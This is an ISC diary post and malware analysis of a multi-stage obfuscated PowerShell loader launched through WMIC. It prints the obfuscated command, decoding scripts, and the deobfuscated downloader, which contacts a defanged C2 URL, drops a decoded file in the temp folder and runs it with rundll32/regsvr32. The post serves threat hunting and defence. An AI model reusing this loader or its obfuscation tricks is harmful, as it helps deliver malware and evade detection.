As a result of my hunting jobs, I found an interesting piece of obfuscated script. This one looks really like Russian dolls because multiple levels of obfuscation are implemented. It is invoked via WMIC, the command client that performs Windows Management Instrumentation (WMI) operations from a command prompt. If WMI is known to be a management solution (to get status of local and remote Windows hosts), it is able to perform a lot of interesting stuff like changing settings, managing users and… spawn processes. Example: C:\Users\REM\>wmic process call create calc.exe Executing (Win32_Process)->Create() Method execution successful. Out Parameters: instance of __PARAMETERS { ProcessId = 5372; ReturnValue = 0; }; The sample that I found spawns a Powershell process with an obfuscated payload (SHA256: ced09a35fd85240ec0066bac134c08cec8a9e39ecceed1ad52fade55f39e359e) and has a low VT score (2/55)[1]. Here is a beautified version: WmiC "prOcess" "CAlL" "CrEATe" "PoWersheLl -NoPRofiLE -EXECUTiONpoLI bYpAss -wiN 000000000000000000000000000000000000000000000000000000000000000001 -nOninT . ( $sHELlid[1]+$sHeLLiD[13]+'x')("\".('sl');&('sa'+'l') ('Ll') ('sa'+'l');&('lp');.('Ll') ('Pp') ('N'+'Ew-ObJ'+'ect');&('Ll') ('Pp'+'p') ('i'+'EX');&('Pp'+'p')(&('Pp') ('SysteM.i'+'O.co'+'mPRES'+'siOn'+'.'+'defLA'+'tESTrE'+'A'+'m')([IO.mEmORYsTReam][conVert]::FROmBaSe64stRing( (‘ <payload> ') ) "\" + [StrinG][Char]44 +"\"[iO.CoMPressiOn.ComPreSSiONmODe]::DeCoMpreSS)|.('%') {.('Pp') ('SY'+'st'+'Em.Io.stRe'+'AmreAd'+'er')(`${_}"\" + [StrinG][Char]44 +"\" [TExT.eNCOdinG]::ASciI)} ).reADtoEnD()"\" )" The payload is Base64-encoded and compressed using the Deflate[2] algorythm. You can easily decode this first stage payload with a few lines of Powershell: $base64data = ‘<payload>' $data = [System.Convert]::FromBase64String($base64data) $m = New-Object System.IO.MemoryStream $m.Write($data, 0, $data.Length) $m.Seek(0,0) | Out-Null $s = New-Object System.IO.StreamReader(New-Object System.IO.Compression.DeflateStream($ms, [System.IO.Compression.CompressionMode]::Decompress)) echo $s.ReadLine() The result gives us a second stage payload: Ll Xf Get-Date;Ll Jq rundll32;[sTRING]::joIn( '' ,( ‘ <payload> '-SPLiT','-sPliT'G' -split'D'-SpLiT'%' -SpliT '<'-sPlit 'S' -split'p' -SpliT'~' -sPlIt'K' -SPl iT':' |%{ ( [ConvERT]::toiNT16(( $_.TosTRiNG()) ,8)-as [CHaR])}) ) |Ppp Here is the decoded payload: $Tk=get-counter;( Pp Io.STreaMreaDer(( Pp iO.cOMpReSSioN.DeFLATEstReAM( [SYsTeM.iO.MEMoRYsTReAM] [cOnvERt]::FrombAsE64stRinG (‘ <payload> '),[IO.comPREsSioN.cOmPresSiOnmOdE]::dEcOMpress)), [Text.eNcoDiNG]::aSciI) ).reADTOEND( )|Ppp Again, we are facing the same behaviour. The third payload is Base64-encoded and deflated. Once decoded, we now have this: if((.('Xf')|.("{0}{2}{1}" -f'out-','ring','st')) -like ("{0}{1}"-f '*gn','*')){${I`i}=("{1}{4}{2}{3}{6}{7}{0}{5}"-f 'd/e.p','https','ndoluy','r','://fu','hp','.','fun');${i`I}="${ii}?"+(&('Xf') -Format ('o')).('sub'+'str'+'ing').Invoke(0,27);${Ez}=("{1}{2}{0}"-f 'ient','Net.WebC','l');function R`Sd([string] ${t`eE}){${L} = @{}; ${L}.';' = 'T'; ${L}.'_' = 'V'; ${l}.'-' = 'A'; Foreach(${E} in ${l}."Ke`Ys"){${T`ee} = ${T`ee}.('R'+'eplac'+'e').Invoke(${e}, ${l}.${e})}return ${T`EE}};.('SV') ("{1}{0}" -f'U','43') ${II}}else{exit};.('SV') ('4H') ${Ez};&("{0}{1}"-f 'di','r') ("{0}{1}" -f'ect','*');.('SV') ('wm') (&(.('GI') ("{4}{2}{0}{1}{3}" -f 'e:/','E*ont','abl','e*','Vari'))."v`ALUe".(((&('GI') ("{3}{2}{0}{1}"-f'*onte','*','iable:/E','Var'))."VAL`UE"|&("{0}{1}{2}"-f 'Me','m','ber'))[6]."NA`me").('GetCm'+'dle'+'t').Invoke((&('GI') ("{0}{1}{2}{4}{3}" -f'Var','iable',':/','e*','E*ont'))."v`ALUe".(((&('GI') ("{0}{3}{2}{1}"-f 'Varia','nte*','le:/E*o','b'))."v`ALuE"|.("{0}{1}" -f'Membe','r'))[6]."n`AME").(((.('GI') ("{0}{2}{3}{1}" -f 'Vari','/E*onte*','able',':'))."VaL`Ue".(((&('GI') ("{5}{1}{2}{4}{0}{3}"-f'*','riab','l','onte*','e:/E','Va'))."vA`LuE"|.("{0}{1}" -f 'Memb','er'))[6]."na`mE")."PS`oB`JECT"."MeT`hODS"|.('?'){(&("{1}{0}"-f 'R','DI') ((("{0}{1}{2}" -f'Variabl','e:K4q','_'))-replACE 'K4q',[chAr]92))."VA`lue"."nA`mE"-like("{0}{1}" -f '*n','d*e')})."N`AMe")."iN`V`okE"(("{0}{1}"-f 'N*','ct'),1,${T`Rue}))(&("{2}{1}{0}"-f'able','ri','Va') ('4H'))."V`ALUe");&('SV') ('Gu') ((((.("{0}{1}" -f 'GC','i') ("{0}{2}{3}{1}" -f 'Variab','wm','l','e:'))."va`LUe"|&("{1}{0}{2}" -f'm','Me','ber'))|&('?'){(.("{1}{0}" -f'IR','D') ((("{1}{0}" -f'0}_','Variable:{')) -f[ChaR]92))."val`Ue"."Na`me"-like("{1}{0}"-f'wn*g','*')})."nA`mE");${L`y}=(&("{1}{0}"-f'i','gC') ("{1}{0}{2}"-f'able','Vari',':wm'))."vAL`Ue".((.("{1}{0}" -f 'Ci','G') ((("{0}{2}{1}{3}" -f 'V','e:{0}G','ariabl','u')) -f [cHAr]92))."vaL`Ue")."IN`VOKe"((.("{0}{1}"-f 'G','CI') ("{2}{1}{0}" -f'e:/43U','riabl','Va'))."Val`UE");if((${tK}|.('FL') -Property ('*')|.("{2}{1}{0}" -f'-String','t','Ou')) -Match ("{0}{1}" -f'i','sco f')){${G`A}=${En`V`:temp};${gg}=(${D} = .("{0}{1}"-f'g','ci') ${G`A}|&("{0}{2}{1}" -f 'g','ndom','et-ra'))."N`AME" -replace ".{4}$";${WY}=${g`A}+'\'+${gg}+'.';("{1}{0}{2}" -f'r','er','or[0]')|.("{0}{1}{2}" -f 'se','t-clipboa','rd');[io.file]::"w`Ri`T`eallBYTes"(${w`y},[Convert]::('F'+'rom'+'Ba'+'se64S'+'tring').Invoke((&("{0}{1}"-f 'Rs','d')(${ly})).('replac'+'e').Invoke(' ','')))};if((&("{1}{0}" -f'i','gc') ${w`Y})."LE`N`GTH" -lt 200){exit};&("{0}{1}" -f's','leep') 9;.('Jq') ("{2}{1}{0}{3}"-f'p','l.c','InetCp','l'),("{1}{5}{0}{4}{3}{6}{2}"-f 'arMy','Cl','s','ksB','Trac','e','yProces') 8|.('Jq') ('/s') ${wy}, ("{1}{0}{2}{3}{4}"-f 'egi','DllR','ster','Ser','ver');.("{1}{0}"-f'leep','s') 55;&('sl');[io.file]::"w`RItEAL`lLIN`ES"(${w`y},[regex]::('repl'+'ace').Invoke(${ly},'\d','.’)) This script is also nicely obfuscated but it’s easy to spot the goal: it’s the downloader. Many strings are stored in arrays but they are easy to read: PS C:\Users\REM> ${I`i}=("{1}{4}{2}{3}{6}{7}{0}{5}"-f 'd/e.p','https','ndoluy','r','://fu','hp','.','fun'); PS C:\Users\REM> echo ${I`i} hxxps://fundoluyr[.]fund/e.php Too bad the domain does not resolve anymore but it can be found in passive DNS databases. It was resolving to 185[.]158[.]251[.]97. Let’s try to access the site now: isc> curl --resolve fundoluyr[.]fund:443:185[.]158[.]251[.]97 -v hxxps://fundoluyr[.]fund/e.php * Added fundoluyr[.]fund:443:185[.]158[.]251[.]97 to DNS cache * Hostname fundoluyr.fund was found in DNS cache * Trying 185[]158[.]251[.]97... * TCP_NODELAY set * Connection failed * connect to 185[.]158[.]251[.]97 port 443 failed: Connection refused * Failed to connect to fundoluyr[.]fund port 443: Connection refused * Closing connection 0 curl: (7) Failed to connect to fundoluyr[.]fund port 443: Connection refused The server is also down but I found references to the URL on Twitter. A malware analyst (@reecDeep) grabbed the file server by the URL and found a DLL: Another nice example of obfuscation isn't it? |
Xme 687 Posts ISC Handler Jul 12th 2019 |
Thread locked Subscribe |
Jul 12th 2019 2 years ago |
Feel like Alice tumbling down the rabbit hole....
|
Anonymous |
Quote |
Jul 12th 2019 2 years ago |
Sign Up for Free or Log In to start participating in the conversation!